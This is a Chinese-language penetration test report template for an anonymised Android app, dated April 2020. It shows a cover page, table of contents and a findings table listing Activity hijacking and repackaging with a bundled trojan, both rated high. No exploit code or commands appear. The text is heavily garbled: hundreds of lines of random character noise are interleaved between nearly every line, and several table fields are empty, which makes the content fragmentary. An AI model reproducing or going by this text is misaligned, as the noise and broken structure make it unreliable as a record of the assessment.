$ F1 s3 G: p4 B. r- {# z5 e* b6 z
+ K; b2 E: h% e6 _. @
) W# i1 B* V/ ^, F+ {- [& x7 P7 }# o; y/ H5 X- U
. ^" W! P( s! |5 P1 T/ X/ @0 }5 t
) n* L# x- t$ w0 A
/ _. G' i, d. k4 y8 a- G1 q& S- f3 }0 E K) |; G6 O1 L Z
0 m9 T8 q) z7 t% x% D. B4 ?
1 D" s+ U2 Y, {8 b/ A0 I
' [5 l6 k8 N* C" X
' b( D% ^" B( e 文档编号:
( s1 K& ~; g$ c, m0 h7 v+ m
1 O. N7 j# S- r7 M7 J7 }
, ]3 b, s( Z1 \5 b( u% | w
( y8 c& M# _: ]3 G! L 7 B) X( l2 c5 f. f, q
6 s) R0 F; W- @, E2 Y# j( d
! c9 `+ ~1 A! F
: h+ ], z4 a' ?* E* O1 o
" l, J# i0 p$ Q( q _/ u# c
& k9 i6 {( `+ W) k; h: p5 n# |
- }: r& [: P# p9 c) R% f- D$ r+ Z- U1 T3 s
1 W' b: a0 b) K/ @/ T
m( R; Q3 G% P4 ^; H4 k0 \1 A9 s
% f m. D7 q* x/ T6 b; K! c: t; |; r& I! l, T( [5 U9 _/ G9 i
: Q! H1 n9 _0 }8 W7 f, R/ {; I9 ^+ A& A) S' J
9 s! L5 q% N$ X3 d
% e" ^, f, N/ A& O' B; ?
& ]4 U3 o- T0 K% h* U" T9 }! Q
/ P8 p6 b3 ~& ^* X* u% C* O % { P; O- o1 Z- r" U) w
( S$ T" M" T- n7 Y
. t4 f. P, |" d2 n
2 s1 W p4 p+ i3 k+ X3 p
3 i6 E6 m; V- Q" y3 e3 X+ v& V
; o- e3 \) V3 `. K: P3 y; J
4 V7 [! z0 K: m0 i' [" Y3 Y# h! h I8 c" r- W. o
) A( K" L% y: `: e( ^3 {" D
5 @. b' e! s3 g4 m5 \+ _
1 w# j& J; Y" ^7 `: ]; w
8 T! ?! d' V0 y% R3 e% p
) i: { n+ s, N% s8 L+ r
4 q) Y- t& I4 X# u& l5 q0 | 某某某APP渗透测试 - `$ p8 H& g8 V5 D8 a% y
" {' I1 H2 z* N% Y7 _$ M
4 ?2 ^$ ?" x4 E- f
% t" M; }5 Q/ _* Q$ g % j+ K! f* H R( k# M, P# h9 b& S
: w2 J" D4 I2 M: v1 d
9 q1 t- `# B. o9 T: v
. z7 O- N4 i9 x- q' Y# S) H
8 j5 k, V( h4 t' e
* ^6 s' }6 u* f0 f/ E
1 \$ d( t" {4 w$ \# V6 t/ f- v
4 _, @* |7 K# \ r; ~5 p4 Z, Y1 f # i9 I+ [8 P4 @# _8 e
% z/ g9 j) f$ ~; J& G
# z; e$ |9 d5 K( R5 F& P+ ?9 m E/ Q% A E
. w, T- Y h5 ]) ~6 \
1 q; f2 ]3 P/ V. O0 s
( x' k6 d! D3 h
, f' `$ I j v9 b4 H& z& H. M/ c( L* T
% v- u4 E" H/ K0 @
( @( T, ~/ ?2 z" T9 @/ S2 W
. W X+ o. a) l7 q y0 C: H8 u$ V6 v( N' |! p3 q4 w7 C3 x$ [4 I
% V/ I# g7 A8 ^" N; l
( _5 R: ?1 r/ {1 k) F6 a
* i# O! H! c( R
/ \5 }/ Z4 @/ M
) ^0 h# K6 e1 a7 u
0 D: m4 c& a, @ |3 R9 B3 ^ 技 术 报 告
7 J/ `! _5 ~1 k4 m+ [0 {" c
! U$ M6 e8 b# l
( H( T, S0 ^/ t9 E8 e# [1 `/ ?0 \, J [
* h9 A+ y# f W4 j& e, B+ S) c
) y3 o0 G* m! i( A) K & P, o2 J2 w; f9 s
" u7 ?7 i6 H, } Z
0 c! z9 o/ @5 ?) z; Z* V$ i
9 ]) ^' q8 A. A% d: k( I/ ?. t$ C
/ j0 R+ o$ d9 J* j( B
/ b t' h. p4 a" H8 M! n. x ! [1 D9 b$ ^6 _" h0 C4 i! V/ z; I
7 V1 o- o9 c( t% e$ m/ Y
$ F) R6 B8 b5 O) A, A5 T9 `! a; B
( u! z* y9 J' S% g% ?; ]: d3 M7 ^1 L# `% v
- ?9 b# ~& ?# q0 ^6 u9 N% N' |) L* e3 v/ G" S% ], i
' F0 C% y% |1 b: L. p5 M8 Q" q8 X. V5 s* }4 f
) p+ P6 v9 B5 Z
: b6 |9 K+ ^; k! E/ u $ A% s# l4 | J3 ^1 v2 S/ N
# F) l' {* a' c3 C+ X) `9 Y$ c- c
( l$ Q: a3 I) }. f8 l; g, C
Y4 d6 N8 q+ Y/ `* L" I9 F, ?$ D
0 R; R3 V; `8 x4 h. x* j$ T$ x' p" {9 P1 t8 C( m! v2 T1 F4 a
* Y5 ]1 \9 Y) ?7 J2 X
$ X$ J" e4 u+ c
+ f. S5 q J# T6 B
@+ T0 }0 d% A' \/ p
2 `9 ~8 D$ z3 V; v
+ M. J7 j' Z% O" a3 h- o 3 \) z: ~; _- K7 i8 M) H, l* u- O) `
9 A: o8 r- ~# t" @9 A4 W# q J
) V2 l, U: i0 y, C7 p: P7 z- E
9 X9 H3 m6 Z# f% H5 k! p8 r% w
0 [( {+ R) l; z/ d. V1 M
/ X& ~/ Z+ v+ L! |
% p: o5 |/ U3 Z2 z/ Z3 I/ n8 R7 m/ Q, Q
- u8 `; g$ }/ c' _# ]" d5 I8 x" O% x& I9 V& F& L$ T7 t
/ ^/ F8 v# p0 O2 T/ s2 R2 D2 O5 t. X8 B- ?' v q; O
" y+ C R0 y* H& [
& E" t5 Z6 p; V5 @
& t4 O4 I3 l& I+ e. d
4 U; }& z9 Y( r 6 {6 T4 w4 x" \# `4 C8 |' X' }. d" F! ~
4 ^8 _. y* o7 [# E: p5 t+ b
: J* `$ ^# p) a6 R( z# y$ {
) T% L5 q4 d2 m+ P+ ]
2 D( ]/ ]+ y8 X) w; o% q& s3 K. v
3 W1 l. Q5 x, k5 ^. r6 S1 s( ?, _
* S% N6 Q% _, P# m$ K7 m1 i1 a3 m7 k2 T% w% L6 @( f4 Z
( J; h- h2 s8 {! e
+ ]2 ]+ g* b% i9 x- a6 D
3 x, s+ R; {1 u5 K3 W! d8 p1 H
6 g& D4 d2 m" X" H4 F, X . ^1 \+ B0 D7 p. w* }) F
a5 s: n# F: }9 P Y$ E! b& s; G
( i( o1 N) a7 P. {0 G5 L9 g0 |/ Q# h2 x+ e3 z# n# Y
# x* W" u1 N, G. A5 `0 R9 B! Z l+ X7 j1 L1 M- y7 N
( D7 D6 m3 j# V z# H$ Y
, y* C, B( B4 ^6 G
- f+ A) r' X2 G7 E, m; ]
$ W! D/ b: p+ O% ]1 ^
/ R( M e& i F$ [3 g1 x! H, f
: [. X& b& g& l2 f
+ t' [; N {: X+ n8 W
% v: S. r. S8 I+ h! h
/ ?+ ~' I: C5 N5 o* R+ B9 q
2 M1 ^) j) A$ \0 o" l
3 [! Q' b/ G3 p. O8 W- |
7 ^( A3 U7 S: E
3 W0 s9 Y9 \" t' G* h9 e) }$ A+ }
* K( C# R5 ?" ~
d0 Z( F/ f! f8 L2 G4 g
s, g# }) l/ t& a' m6 l# w. r6 D) p: ^
3 \1 Q: G' \. U
" _( H' S: l" i7 T
" r+ v; d* ?% h
7 J2 x6 a( A8 V8 i0 F5 w# _" q
& _3 [+ z% ?- U& l2 F7 B
% d: P/ i5 h+ K0 }
3 w m/ v" j" b9 x6 S% [1 m
% R6 `9 Q% ?8 D& c* x & J6 |" S a; }+ C$ K. {
# y) M0 }6 B$ _* Y
8 t7 Z* M. m6 Q6 Z* ]3 X- d; n; @9 [* L- | s: k4 X4 ~
+ ]" @% \. w! t2 p: D: M0 K
, P; N* D9 ]: H# k' D
4 m# w" X0 |4 h- C4 R' m! ]( s
. C+ \0 @) V* o. i% O3 p2 r3 S
9 N8 b* n8 y2 w1 L+ K8 N8 e
3 y$ k% Y1 U# I, B9 A/ e 4 B+ {9 N) r' W; b' z( T
2 X9 v2 e/ y8 L
. [ x7 `0 G$ l/ f' W! R$ I0 L% ]7 A' J1 X* |+ w7 r9 _' R
: w8 J! A# v: k1 M7 k& `% J" M
9 O+ W; N- e" V) g+ D * n0 P- Z4 b' ~: V/ R; E" R
3 k& N+ A, A. v. K% e# w/ P
二〇二〇年 % l1 R& m; J$ a: w# g2 ?% B1 v
# |; s4 j( M5 d) s( v+ k K7 F
3 h+ A1 f4 Q6 R6 R; G4 g
4 \5 q, W5 ~0 Y 1 Q) i8 s8 }; s
8 s5 E" N, y* a( z4 h1 Z
7 b H/ M! H' j+ x. X# k- c- c" y8 p- H/ ~9 B
: {" H2 L. \7 E% z
0 |. b" Y( ^% x- d. X, N1 C 2 {4 n- F2 [5 f0 b
5 @- v" K5 \4 f6 \
2 i( p: {. h$ M7 n5 z+ d, d2 i
6 z& Z* c3 S# ?2 S; N% |8 v, [: R
$ A8 n* S4 n. x: v1 c' q" T
/ j! d4 t% t, L7 @$ O
- Z, o6 T8 [2 w! Z! @/ W- I/ |
0 U2 F x& F2 ^, I5 i0 @7 T % O. P- g3 u( }6 z* |# D# M# u }
# g. B2 \- k5 w7 k
1 `# c. F" X! q9 U2 J6 P' U, \% ?6 _; p& t
目 录 5 [5 n7 G5 v% p9 y3 [+ S4 H
& U5 {8 l2 f0 }& ]$ [
1 [+ ~+ ~3 k6 a9 s: {
" U! }; R6 U/ i& k3 E $ v4 S) {( ^; K8 _
* ~7 a, M! A9 H( S+ O; o: u
2 M, @5 K6 `5 O. ?3 Z
* e% H5 q5 _& Z0 }- C5 v( g
4 N! g9 U# R6 c+ p8 ~: x" b2 K$ q. B* u% Z
, G3 N( i1 X9 \
! R* k6 S) d0 `; M" _ & f7 R, P8 {' D/ ^. Y2 z$ C
& o6 ^ \5 j9 {5 U# B
1 概述... 3 ) x4 y5 C! j6 y5 Q! n
9 I" `' T( \1 e/ e
7 o# `/ [. B* l- T/ a
% N7 c# c: `* j
3 ~0 a( G9 ?5 q7 \4 d# J. c6 i+ w1 W4 ^, Q$ w* }
1.2测试时间... 3 2 N, m3 q; J- v
8 l X) x7 r' w0 b- B; A# ~8 m6 L
, w) M& s. ]/ m, ?1 |) A
1 w' t0 z8 \: T! S
& c) ^. l ~' i/ {
6 }2 x6 w5 v' f# a 1.3测试对象... 3 & s3 W! }8 j8 q3 Y; [
( M% F. s' d; @/ z# S. d
9 D- A# E( m& U' v. l' Z' | J! r$ C7 [5 C8 v) i8 ?
1 G8 z: g# I/ Y) c V3 C6 P- e9 z0 u
: ~* R- g3 o R2 Q( y$ q 1.4测试结果... 3 4 i) z( x# K. ^ d
5 K' o% Y8 Z/ Z9 e0 u! U8 P
/ T! I: I! }3 f5 F* L
0 @0 D% m5 M! }* E! q$ P 2 {; Y) t/ |4 \, a) q
" ~* w; k! h, C! G1 b! M: p; f" Q 2 检测结果... 4 $ |& {# @) O; w
) E" f0 O3 T2 w$ F0 [. [
8 t) T( j/ u1 c- h" c0 u: e
" G: A5 b% Q) v0 M* ?
8 x0 s8 B, D: C& M" x" o- L2 X& H! v7 x: W g- ?
2.1 某某某... 4 0 K: N, D7 d6 m" A: C
+ E$ ]8 j+ F2 o! V; v9 Z1 Q
# z) M. [8 X% y
& T6 Q" q! p: ?, I) L3 i 2 a! K2 J) Y4 `' _. U2 [8 i7 m
( X* w+ U3 w2 b
2.1.1检测目标... 4
: ^+ H5 c" j4 p- A; u; S+ m
; o/ O! f" e; ?' D+ E) p
: L. P5 z$ x) e; Q* U
4 O6 M. l" `4 W2 s( e1 B
2 X1 n8 L) g: f" E
9 q* E- E; h/ G( ^7 i: O& i 2.1.2检测结果... 4 3 `/ c7 A: Y* u( X, x9 U
8 c5 G6 g! Z o! b7 G1 M4 X3 P0 @* }. n
$ E O3 }' d: z1 h- w
7 o' Y3 K/ z9 U5 j8 K- A ; l3 l4 S+ L2 P- y
7 z" \( ]5 y* n d# z4 L) {
2.1.2.1. 4
* ?0 h! _3 z! y2 M' Q9 s, @, E- o6 V9 o* e4 {% H, X9 r) l5 o& Y. {
Y2 ?* O; T% r, d3 E
+ n$ B5 {2 c; R2 D
9 u, a# W8 t \8 p* S& o: v1 [7 l0 T+ _( I
2.1.2.2. 6
3 h. @, k% K. S# u) x9 J' _2 N1 Y, F6 w* u9 x! {7 E0 f# e
1 O) `! g6 H$ Z- D5 A
! [! w; \4 n( z j6 e; y+ f+ m o
4 L& s9 K1 ?1 U6 H0 o0 P k" l) D" @- f. t
4 b, [* T8 O& d* @- I; Z" q
^ A/ Y' y) d8 b$ s$ S
/ d' E8 t. @% s! ]4 J" g i
^! J% R4 A5 x0 t9 |7 W8 t3 c9 U# Q* u* U
/ X- e M5 q' o- j" Z# p
, ]* D) p# `8 R
$ R6 k) t$ b' M& v2 F
- p* B4 L/ B. L$ P$ f9 M6 |' Z( L, ]$ m8 z
( S( S$ Y9 r/ F
+ O6 s3 y1 s; d1 _# P% y5 F- p% w
2 I6 ~# @* z) I N. y$ Y8 n3 ~) |% M6 x
1 概述
/ H$ X3 ~% R$ G- J
1 d5 J0 ~3 T' |( @+ ^, r) W) c
5 a4 |8 T* H; N/ \
8 H* q7 W9 \ u
5 r. c% y( X& ~; H, Y5 ?7 d: [6 k% h' {& C _( ]5 _# @) F/ j) [% s! ^
1.2测试时间
1 g% U( }# y* e! C
% I6 Q9 ~: m0 s
|. D* i- g% U6 v4 Z9 L
" T$ W' M& L2 J) @0 x: Y* [' |8 L' G
- v9 W3 d r+ |) g3 S9 |
! W+ H/ }5 |1 \3 i, ^
( a5 E- D2 m& C, t8 U; x
) E8 a7 ^, z! k" q, ]
0 J1 X8 C. t }6 s" s6 W; y1 h
9 V, I* |+ @- E# I8 E* v7 f" r |
. E0 _* G2 r( a' l S ]" {& C _ @
3 D3 b) B7 [. j3 z2 C0 ^( Y/ R* c7 Q% Y) r& Z4 h
渗透测试时间
1 ?" U0 f& e: m
8 n& R4 ^4 ~# m0 P
2 a+ y! n9 ~) i; S: c; ^
' M7 l; @, h6 s6 B |
' b* p+ p& S# `, b, J0 `$ @" v4 Y r1 E2 {7 `3 H- q) g" u) |7 W* p* @5 ?/ b
2 E' D# Q( C9 s: l" W. n7 Y. _% B& W( n( E A% Y
# t e% Y1 m. G V
* d N9 r% m1 B* k- b: N1 k+ P l& m |
2 F% u7 h3 n' q, B2 m
' k% U7 z! L( n! _. H% t ) z1 Y, Z5 k5 v ^$ W: r
( ?& J U' j* `# O; s: T. Q0 W R
起始时间
# n4 Y9 _7 n' x
7 ~6 T! c& v' x) z6 [
8 F3 b: j2 g! L0 h
" ^* ~) Z8 s% [4 H& } | 4 \6 Q f% r* z: w7 [
# z# E# J9 u3 w+ o& U+ L7 V # Y# i- y- z' h, z, h! M( }3 }2 _' q
; e7 V4 D( G0 ]4 s" ?
; s8 N9 Y3 Q: d! T
B5 x$ A+ X% Y' {0 p" a8 p
2020年4月6日 6 q) v* R: \0 X
5 v! C+ W. A/ o3 J8 b7 i - [5 a# V! |) Y3 d
3 B7 M! p& ^/ M/ b+ N U! P
| / ^4 \) H2 U" X( t
' n. e( v5 H7 o6 Q
/ R! ^+ [2 h U2 E" j8 N6 L/ e: I9 J3 E' e; `( x, N
4 z. X% g" H. ]! Y% C& D, _4 l9 }0 L) t4 K; v
| , d. {) L# H. j9 N1 v7 d7 Z+ E _
$ N/ \/ G6 Q* y5 h+ J I $ H0 {6 t0 u% ?3 f3 ?2 e
: h6 q1 h( | o1 j( ] 结束时间 & @5 i _3 R' e% m$ B5 ?# y
7 ]) s0 J- z$ S2 t, k8 E
0 E- L& b, P j2 \& ^
7 A3 i6 l% O; n% A1 s% ` |
* v/ @2 I; g) Y! F
}' a, Z9 @7 t: `6 a& U" ^ / q4 f- }5 Q- k
5 O2 T" K+ u( r3 @1 L* p
4 J% F9 T$ N. {3 T
$ D4 z7 r! j3 ?2 `' @2 q: m
2020年4月9日 ) l% L4 w* L6 w3 o1 o. A8 I
* P5 [, ^' n$ s; G; l. f6 ]1 p * c: p, i! I+ n5 j2 N/ f
+ k4 u. p% P: W
|
+ \/ u! b2 p3 l; ?$ n
: V% @- w/ u$ q; J$ r
+ n* k) O ?( o$ F. n$ w! x; L; ^7 }* J. ^( |0 e
{2 M4 Y/ j% Q. [; z( M3 S) j7 j. d3 L& O% Q$ O6 [6 w0 c
0 A' W D+ B1 n2 l& L6 I7 @2 F9 Z. w" }0 M3 p0 k
* V0 j P9 t# I, F- U2 v/ E: w7 ^( v7 r7 t9 t: M; [0 h( I; E
1.3测试对象 % S- F7 v0 l9 v9 S4 v
! Z8 j3 z% F8 M7 W% i
0 @* S- f' i. A- |) U- b) F6 S9 x* [% V$ F5 {: o8 d/ [4 y
5 A4 j n4 W$ I- U7 X0 h0 Y9 o, i3 x- E. V1 y% W" W( k; F8 E# z& J
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: , h8 \7 L; Y9 u
7 Q$ F8 h L* [. w$ u
; i2 d2 V Y) @$ o
8 b; V# \8 \) A `- C
4 I- U8 Y( u! m) M5 P
0 `& v: A: l' B8 n6 J5 N 表1-1 检测对象 # B) R2 q% O- h5 f9 O' D/ |" i
. }6 k9 z/ G+ e/ U
2 b4 [) k, w! l
. y( B; p5 }6 S; T: w ( l0 g! o; Y& s' v' u$ Y8 Z9 ^
) c3 I/ T1 t8 S
+ Z9 E8 I% |. P* W" q
/ _1 Q' a5 Z8 u: k. p . P- {! f! y7 }# x1 v# r% P
/ u* K8 F' q8 K7 J) ?/ o" v
| # _4 h9 j5 b- h- @; l" M' k
' w( f# ]2 }% c7 W0 M! f! M
5 a: x8 v" ?1 T6 }( V- |$ J1 o/ c S! l, W
序号
6 x* m$ a% e( }1 ]1 B& }3 d" y) C
" V- q7 K* C% d6 O# t, V) m 9 R7 }7 S6 l% r: I- F
' K( a/ `+ Q. I O |
% t+ | b* V: y' X7 o- I& X4 J/ I* Y+ `) r4 r2 p1 L" ^2 z2 }
0 c. [- I5 p X7 z/ |& A! X2 l5 C
7 a [) E2 p( N- N" m
! ] s* M- S' J M' L
测试对象 1 S5 `4 m d( p% P
' h* \$ ^' ?+ d" v
0 L/ f! a8 m3 L. T/ ]6 S
* h5 j* d9 I8 j9 q8 m1 r' Z7 V | - C9 h W+ P1 k4 D! }/ `
' S7 j* [2 D' k0 Q& y2 g
4 a, |, C+ N$ v; z- j
' a. u8 f3 R7 _/ ~0 r3 M $ b3 Y) J3 K+ ?0 ?/ \; s
8 h4 I4 i9 E2 Z$ @0 a 测试地址 # k$ ~* k. ]/ \8 n
0 S* p) M( t7 K
$ [+ T: T/ s4 ]+ ]0 a3 m/ R Z J/ [7 x+ ~/ N) C
| 3 }: r; p- Z' d V; W! R
- }" u+ @3 m% m1 |6 |% t
% P& a/ `$ f4 k
9 b1 w1 q% ?- M" q$ G
4 C+ f) v/ i, e
$ x. I/ ]6 _+ G% w 安全漏洞 & m; W# z( R6 t1 t
9 J" K& |/ M8 x) \ 5 y, }2 {# S) T
6 X4 N! I9 v/ r, a6 C3 e$ G/ X
|
" Y* w- I7 S4 }7 C2 e8 |! H. @8 f% N( }( \
; D# ?9 |+ T, n+ g9 \' I! r. I; j( K. j' L/ N- Z
2 j7 i8 j1 l: E0 I0 p8 G2 b/ r6 I
| % m+ S* f7 @" Q# a L
" d {8 ^) @7 c( o$ w8 f
3 [' M, S% R9 m" Z
" e2 r" v! }) z 1 2 B+ T. _4 D! y
/ R1 a1 O, D! S% s" g8 w G( u3 h0 o9 w ; c- [9 Z* g% p2 ~( {# B! ?
5 x P4 I. i. s, b% R
|
0 ~' L: c: x: e- k/ e' {% f
' X4 k5 I* d. g1 }3 p$ @
0 P7 y( Y/ [0 e5 f! z: D D$ l0 O; v* `: D
3 T7 ~$ i Z' h z
3 f7 Y: B0 ]7 \' x 某某某安卓APP
! E: ?. C6 v, H/ `( M( C: v9 y+ W1 ^, t" D6 _
/ U8 O' G2 n2 V! x/ ^7 H% |4 v2 R! E+ i, o. L0 v4 j
|
3 d; W. _; H5 k3 C- J2 g- x) }4 |: F& g6 a
8 ?, y+ I- \$ f# l; l B" q1 Q: }" I( ^
" V+ w* d$ U) }/ e9 F- B
" I8 x0 ^4 A4 |6 M9 f! E7 S/ d6 P9 w4 ]
, _0 c. y% w7 ?' o- M2 H: t+ X9 Y6 R# K3 R
3 b: t3 R9 K! R! g$ C; p) n
9 J- `; v1 r S1 u# n) L4 m | / y% u. \) L6 ~: `- D
( M6 u- V: P4 J7 S
3 e3 Y) p: y, k. Q& f
" z% C; h) H7 q; Y4 D) b
/ X+ g4 W, ?1 w6 C5 j% X' R$ s
/ Q ~! _$ Y1 O# s1 ^! A9 i2 r 2 , l( c" [; T6 ~1 z, u* ]0 _
5 l( ]" x1 `3 T2 A2 S3 L , [" ?! J7 P- u& B0 P
) y, O- o% p- r* c. L% W, K |
3 ]- G9 M; ?- R1 n
; T4 }% Z' F. W! f4 k
" t2 o) z4 W1 F9 {4 ]+ I# o1 F- ?+ [6 f; @% h3 A+ F: U
$ l8 w# Y: @5 A
3 b$ G& y% g7 m& u+ n, K
0 _) _4 F, V- x* g: @
' L" E. v: L. K
. ^9 \7 }6 R) Y1 f; O3 N4 n
9 d, S, i% F6 |7 v- Z 1.4测试结果
7 u" l' v3 w0 ~0 `3 }* E
* l6 _7 B4 w0 Y1 F! v% y) c
* @+ T6 L' q& f' {- G0 w$ O
4 ^* N: z9 [4 S; g 1 _5 T( |) U4 J& @; M
" ^. W) h+ |' V* W$ H8 y/ n8 x2 V% b
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
) s0 d9 F0 f8 B2 R3 ]4 {, T
, G" X' s* B; O/ }/ N
; W7 |- j5 p/ S/ m+ w
: {4 A( J! Y- w9 T. b% M # P7 R7 x$ M* S I
* O( d7 V( ?( ^! |
& g, C) \# x" v5 y5 k0 I* }6 q9 i1 g F2 c; ^% t6 a
7 p. u: k7 S2 {1 N% S2 W b+ r0 \
0 J7 d- C. o* y( K5 T' [
1 H4 r' A+ n* O1 E7 m9 v. A( i$ |) R _- H( k9 w
/ x" f: q' C4 `0 X, F
3 {: j# o% ^, h% v) c6 \ - t+ b% O2 ] |# i2 B) `
' S, O' I# S; }7 z) B! W- |
1 w! S( q a; e0 m7 G S
5 u; ^7 L- q# g# z) p/ \& f E. y+ Y | , X' U* q' U" r! ]
! k- D# o9 v1 x# F, U o7 `
: l; ]; L+ B0 f6 q) K3 L6 ~
) J' \4 [( v$ N+ R- H
序号
+ m0 o( e, f3 l: `4 {1 a! o1 u- P6 b, \
( n$ m5 i) H# D- d1 r * z& O5 `4 m+ v$ n4 s# ^3 a( I
) n# m2 u5 P) W4 \
| 0 x* a$ T6 D2 ]( R, d+ ^* ~
5 n; @; E5 C& l" N 3 m0 Q. z/ K- }: K8 A
* q X0 T' B0 H2 @5 k1 M/ }2 ?+ T
" f( O! D+ Y" v, j0 t6 x- S! n
- v! g% O" n- ~6 }1 j; _/ \3 m7 b4 f 系统名称
" y* X) d+ C; T, s9 H7 I Y0 y
8 D8 V4 j6 D" z0 p! y" q5 O
6 d: L/ X7 z5 W7 |; r9 }3 }1 J' g6 x1 c
| ( ^) m$ X2 H5 p& S# O! E% X
( z. f- [+ K2 B' z3 G! n . v& g- k$ C% D* C$ H
1 U& ]: ^. n/ w
/ f3 O+ @, |8 L
9 |$ ~: o$ [9 @3 A: d4 ~
漏洞名称 9 {" W- A5 ~7 z# M
: q& c$ L0 u. E5 p6 k3 } h u( o
' [5 f4 w% J# @+ d) p W
9 t |* z O$ K |
/ N" P: a1 W* _" T! a' I% r6 s f' z& i+ e0 U; f* t
! [. l$ ?" G( r" z2 `5 v+ T; _7 k) \9 }" c* i8 w
* W' @, P, a/ g, `) Z( m" K2 H. f; U' Z
漏洞危害
8 k& @) r# q+ b# P
4 `* }: c- b. P$ @9 i+ r
% L4 \3 G! W, c& ]
# U1 v, X- J% e1 X" \' e9 u, {- x- n |
! N$ Q& [, w" a. N7 y$ w
# ]; ]1 L/ k8 n* }. j & L# a3 z# w. [, U" b( z" o
% {/ f& k. Z: [: {: D/ x- \ + @/ @# h9 Y7 I5 G
$ u0 A* {1 M4 ~& @1 }) \8 {
修复结果
& g A8 y# n% w0 m. D6 \9 A
( m% K0 S. v5 R/ |4 M / @3 }6 s; q" D
" ?& b* @ C+ Y |
' c$ w( E8 r6 k( [. a6 G# J! a! ?( ^) |5 [$ q( m9 V& c
" s/ ~3 W' B3 r% X, s" O
: }. e6 d* `* x9 p2 z. T
' S& r1 F5 a) X+ e" T l# ~
! U$ _: V+ h$ G& H$ ~4 g* W | ( T- F- M2 r; |1 u. Y& Q2 |
* k0 V0 |4 r& `1 O
- _/ h; L; W3 y; O7 J. ]
; o8 T- y. K9 k% ]/ V3 L0 l 1
& p$ E/ F" @( Q5 Y
, C7 f2 Q$ L( P+ C5 _" |; o& ~ : T) t8 V; e) a3 e4 T j
1 E$ r+ q( k- s. U4 w( I | : h7 |; Q! _( q, N X! w
' H$ v! E/ V% j6 t" b( Y
! \- X9 g2 [0 d- {, o4 H% q6 n/ Y* T, J) ~" |
% {7 ^, T `' \( ]5 O7 G& ]
4 d4 s: {8 T/ P3 J1 M 某某某某某某APP , ?5 ]( f. B# p$ P/ K( n
! A& O. R5 V! y, u& x
8 B, P8 e$ \7 m
}6 ~% E2 U: B! J( q- z. }
|
& A P& K% z% Y. T; m2 Z$ n
# [1 q* ~. N2 ^, j
: @- h ~" L. [: N8 L: x# a# J4 ]7 U: U$ |2 y) }5 {% {
9 e3 m- S% @4 [+ g
: m0 V7 u+ m& I9 @: Z# A1 C$ m" y
Activity 劫持
% x0 L0 Y- }. B. L9 i; i
' O6 E6 ~4 \% o4 W$ F 3 ^0 P( D5 b4 L: `; J9 e! [
, {5 }7 y- J, H
. N& i/ U; W* K2 l( s L5 L
G) @# D$ t5 [5 }' C5 M $ Z" R/ z' J4 y; _) ]6 Y. ]
- F' X' t$ Q( a7 c9 V/ K
: f( x( @: ~& \1 k
$ J; T+ K1 u( T, e3 @
|
' F: C+ A% T) u* v4 E0 I. @0 p9 @) w& \! f6 g
* N2 w4 u' \& d8 m
) o/ X8 n8 Q0 |6 C! N4 r' f0 ?/ {
" w+ q U0 G l, f+ ~1 G4 p) n( o" m" e8 }2 R
高 ( ?4 l1 Y, q, ]" a2 F4 |
7 o9 _5 ?. t1 a& Z4 o6 B/ E3 ~3 v3 U
J; h/ h9 ]9 Z1 @' h3 Z; b4 s
0 @! @ r- {# v! l& @9 a& R | 9 x- D% u8 F! y" i
" j: d( n r/ f6 T! p) q
2 e' |( G: |2 [( c1 e6 S% J+ ?0 I, [4 l& F
: L; T5 ^2 j$ y
( F; }! `. n8 Y# l# A0 @
2 Z: ^. j2 v R1 A8 C+ H- p
' ]+ V8 t" X4 P/ T 4 e. b2 ?/ i2 I9 q: ^7 F) u
5 I* N$ y0 \. l7 f% Y; u% S |
4 k( l+ y7 T# U; M# K) f- U. y' T/ {# Y( L5 g9 u- S+ J- a
$ l3 @6 ]2 }+ E
. Y4 ?2 g- b8 @$ A9 h' V; g: w
* Z7 g5 L8 L" q1 O7 `
0 U7 S0 _6 U7 P7 W: U ] |
2 `5 V% H7 A; O3 N6 z* o8 z: r. y: ^# X/ k: p
2 v( v4 ?7 c) y" P8 B6 C9 Q
# k8 K5 A7 e1 ~' }
2
( }. _- M5 j. X, C! c
* W5 Q0 Q% s: M$ t, a, k! E6 Q
3 q& }9 I$ q4 y. r% s! n- j7 P7 }
F2 \! L, l9 t8 P; n: h |
# [: `8 K: c! C: `) R# |+ d1 q' y7 u+ }( m$ U! C
: f/ E2 B% [( K" V7 R
: H6 h( W: t6 | ( `- a6 H" w- q, `* F- q9 {
, P g6 T- h, {: t0 `4 K! {, [& l! z" ? 某某某某某某APP
0 d2 W1 z* e4 D9 s! R4 ]! R
0 B7 M8 I) p* b, p% D, j) E
/ D! d# G- K. s( ^- o
9 h4 |2 T3 n, t( T | - x0 @5 |0 B4 u" t+ I8 K2 L
( ^ u, W1 J1 Z4 H/ d( m6 X 4 Q) I6 Z9 q5 N
( d( a# Q. o* k: Q$ K3 G' y " r' F2 v0 m9 a5 k+ K7 N! R
( N+ [/ N$ `5 L0 ^& _0 B 反编译二次打包捆绑木马、篡改APP代码
$ e3 K* o n% X9 s) f( i3 T9 D) u( S+ o( n6 z
. M& L1 Z$ Q8 {
1 [+ D, z3 v% n, c | # J1 _4 p! k( T, j/ g4 q; B% ~
% u5 r- v* B2 \7 ^5 h5 \
8 Z4 C! U+ W# E7 u( I
- F4 O- d6 J$ f# U1 h, z
# X* b5 j. S1 y/ B1 K
, ~: V2 z: b: I 高
0 r' T) D) `- N4 ?6 T8 m8 x2 b, X, `& z
; T# g. ?( t: r9 X1 L5 S4 i* [- B
5 p7 v5 _; Q! ?# i: w
|
% H0 V. K- A* e) l& \1 R: z9 R& {
/ O$ y! ]1 \, l! E; Z; m3 @) ` / I& |. V; f! H1 C% q: G7 [1 w. ]
r0 }. a* U7 b- r$ N! a1 l
9 j1 }7 s! t8 v, P' G+ X
" {% i) x; `# t/ F& @' }! u
R2 n" b* c) E6 b$ l) e% C: j, k
8 }7 ^ ^1 i" g) x+ a4 m
# S2 o0 j$ c3 g: l
6 ?/ x( `: c9 C5 E
|
6 y0 A5 H: r2 m$ W
3 ^ ^) N* J+ A
8 c( t5 k. s# R$ \$ S( d: V* M( M& h, y6 ]& q
6 u+ ^4 w5 u5 z5 V0 m7 y C: m' Z2 F8 S: r5 v) I5 S
/ v: ]: J1 y" k6 g0 S7 `/ I! w4 O8 a- M9 Z
' l: W3 u9 B$ a8 @, E# z/ u+ v5 `. l4 H5 K
6 u o# n0 [% C8 Q
( q2 t% K# p. A1 u
3 Z4 x) C" l. a% N' a8 q; X
& x" h, V6 j1 A X, H% H0 G0 [
